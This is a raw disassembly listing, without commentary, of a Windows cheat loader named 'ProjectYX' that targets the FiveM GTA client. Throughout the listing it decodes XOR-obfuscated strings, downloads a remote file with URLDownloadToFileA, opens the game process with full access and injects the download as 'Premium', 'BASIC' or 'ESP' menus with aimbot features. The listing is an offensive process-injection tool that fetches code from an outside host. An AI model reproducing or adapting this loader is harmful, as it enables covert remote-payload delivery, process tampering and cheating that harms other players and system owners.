lea ecx, [rbx + rdi]
test ecx, ecx
je 0x1400499db
test eax, eax
je 0x140049856
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, [0x1400c6310]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, [0x1400c6380]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x30], 0x6906005f
mov dword [rbp + 0x34], 0x9405155
mov dword [rbp + 0x38], 0x59120a0a
mov dword [rbp + 0x3c], 0x1005150
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0x20]
call fcn.14004a4d0
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [0x1400c9d30]
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmm0, xmmword [str.SZ_RVXYRZUA]
movdqa xmmword [rbp + 0x270], xmm0
mov dword [rbp + 0x280], 0x18011a1f
mov dword [rbp + 0x284], 0x9150158
mov dword [rbp + 0x288], 0x11101f54
mov word [rbp + 0x28c], 0x100
lea rdx, [rbp + 0xbe0]
lea rcx, [rbp + 0x230]
call fcn.14004a540
nop
lea rcx, [rbp + 0xa40]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xbe0]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0x8e0]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_Premium__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov byte [0x14010cf99], 0
lea rcx, [rbp + 0xbe0]
call fcn.140040250
nop
lea rcx, [rbp + 0xa40]
call fcn.140040250
jmp 0x1400499f4
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0x6906005f
mov dword [rbp + 0x54], 0x9405155
mov dword [rbp + 0x58], 0x59120a0a
mov dword [rbp + 0x5c], 0x1005150
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x40]
call fcn.14004a4d0
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x1400c9d30]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [str.SZ_RVXYRZUA]
movdqa xmmword [rbp + 0x210], xmm0
mov dword [rbp + 0x220], 0x18011a1f
mov dword [rbp + 0x224], 0x9150158
mov dword [rbp + 0x228], 0x11101f54
mov word [rbp + 0x22c], 0x100
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0x1d0]
call fcn.14004a540
nop
lea rcx, [rbp + 0xa60]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xc00]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x900]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_Premium__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov byte [0x14010cf99], 0
lea rcx, [rbp + 0xc00]
call fcn.140040250
nop
lea rcx, [rbp + 0xa60]
call fcn.140040250
jmp 0x1400499f4
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.1400052d0
test al, al
je 0x140049a0b
lea rcx, str.Click_Inject_only_inside_server_
call fcn.140011e40
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rsp + 0x70], 0x41e0a23
mov dword [rsp + 0x74], 0x25273652
mov word [rsp + 0x78], Ordinal_79
mov byte [rsp + 0x7a], 1
lea rcx, [rsp + 0x70]
call fcn.1400458f0
lea rcx, [rsp + 0x70]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x620], xmm0
lea rdx, str._Safe
lea rcx, [rbp + 0x620]
call fcn.140038720
mov dword [rbp - 0x10], 0x51090a25
mov dword [rbp - 0xc], 0x1b11033d
mov word [rbp - 8], Ordinal_79
mov byte [rbp - 6], 1
lea rcx, [rbp - 0x10]
call fcn.1400458f0
lea rcx, [rbp - 0x10]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x630], xmm0
lea rdx, [0x1400c620c]
lea rcx, [rbp + 0x630]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0xb8], 0
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, str._Inject_Safe
call fcn.140039030
test al, al
je 0x140049e75
call fcn.140046b90
mov edi, eax
call fcn.140046f60
mov ebx, eax
lea rcx, str.FiveM_b2545_GTAProcess.exe
call fcn.140046ec0
lea ecx, [rbx + rdi]
test ecx, ecx
je 0x140049e5c
test eax, eax
je 0x140049cde
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Sorry___ESP_and_AimBot_dont_support_it_server__b2545_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Lamento__Esp_e_AimBot_nao_funciona_Aqui.__b2545_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x580], xmm0
movdqa xmm1, xmmword [0x1400c9960]
movdqu xmmword [rbp + 0x590], xmm1
mov word [rbp + 0x5a0], 0x100
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x580]
call fcn.14004a770
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400c9d10]
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400c9880]
movdqa xmmword [rbp + 0x390], xmm0
mov dword [rbp + 0x3a0], 0x519055c
mov dword [rbp + 0x3a4], 0x15141358
mov word [rbp + 0x3a8], 0x100
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x350]
call fcn.14004a1e0
nop
lea rcx, [rbp + 0xa80]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xae0]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x920]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_BASIC__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov byte [0x14010cf99], 0
lea rcx, [rbp + 0xae0]
call fcn.140040250
nop
lea rcx, [rbp + 0xa80]
call fcn.140040250
jmp 0x140049e75
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x5a8], xmm0
movdqa xmm1, xmmword [0x1400c9960]
movdqu xmmword [rbp + 0x5b8], xmm1
mov word [rbp + 0x5c8], 0x100
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x5a8]
call fcn.14004a770
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x3b0], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x3c0], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x3d0], xmm0
movdqa xmm1, xmmword [0x1400c9d10]
movdqa xmmword [rbp + 0x3e0], xmm1
movdqa xmm0, xmmword [0x1400c9880]
movdqa xmmword [rbp + 0x3f0], xmm0
mov dword [rbp + 0x400], 0x519055c
mov dword [rbp + 0x404], 0x15141358
mov word [rbp + 0x408], 0x100
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x3b0]
call fcn.14004a1e0
nop
lea rcx, [rbp + 0xaa0]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xb00]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x940]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_BASIC__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov byte [0x14010cf99], 0
lea rcx, [rbp + 0xb00]
call fcn.140040250
nop
lea rcx, [rbp + 0xaa0]
call fcn.140040250
jmp 0x140049e75
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.1400052d0
test al, al
je 0x140049e8c
lea rcx, str.Click_Inject_only_inside_server_
call fcn.140011e40
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rbp - 0x20], 0x41e0a23
mov dword [rbp - 0x1c], 0x25273652
mov word [rbp - 0x18], Ordinal_79
mov byte [rbp - 0x16], 1
lea rcx, [rbp - 0x20]
call fcn.1400458f0
lea rcx, [rbp - 0x20]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x640], xmm0
lea rdx, str._Only_Menu_ESP
lea rcx, [rbp + 0x640]
call fcn.140038720
mov dword [rbp], 0x51090a25
mov dword [rbp + 4], 0x1b11033d
mov word [rbp + 8], Ordinal_79
mov byte [rbp + 0xa], 1
lea rcx, [rbp]
call fcn.1400458f0
lea rcx, [rbp]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x650], xmm0
lea rdx, [0x1400c620c]
lea rcx, [rbp + 0x650]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0xc0], 0
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, str._Inject_ESP
call fcn.140039030
test al, al
je 0x14004a111
call fcn.140046b90
mov edi, eax
call fcn.140046f60
mov ebx, eax
lea rcx, str.FiveM_b2545_GTAProcess.exe
call fcn.140046ec0
lea eax, [rbx + rdi]
test eax, eax
je 0x14004a13e
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x70], 0x6906005f
mov dword [rbp + 0x74], 0xa405155
mov dword [rbp + 0x78], 0x5358150e
mov word [rbp + 0x7c], 0x50
mov byte [rbp + 0x7e], 1
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x60]
call fcn.14004a170
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [0x1400c9d40]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmm0, xmmword [str.ZQQSTQ_Z__A_]
movdqa xmmword [rbp + 0x500], xmm0
mov dword [rbp + 0x510], 0x115a3e17
mov dword [rbp + 0x514], 0x1001b1a
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0x4c0]
call fcn.14004a700
nop
lea rcx, [rbp + 0xac0]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xb20]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x960]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_ESP__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov byte [0x14010cf99], 0
lea rcx, [rbp + 0xb20]
call fcn.140040250
nop
lea rcx, [rbp + 0xac0]
call fcn.140040250
mov rcx, qword [rbp + 0xc20]
xor rcx, rsp
call fcn.1400af130
lea r11, [rsp + 0xd40]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14004a111
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3